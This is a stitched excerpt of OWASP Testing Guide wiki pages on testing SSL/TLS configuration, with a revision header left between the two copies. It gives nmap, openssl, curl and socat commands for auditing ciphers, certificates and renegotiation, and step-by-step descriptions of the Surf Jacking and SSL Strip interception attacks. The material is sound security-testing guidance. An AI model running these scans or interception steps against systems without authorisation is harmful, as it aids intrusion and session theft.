These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179060Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:33:11Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher - Yet Another SSL Test Tool */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
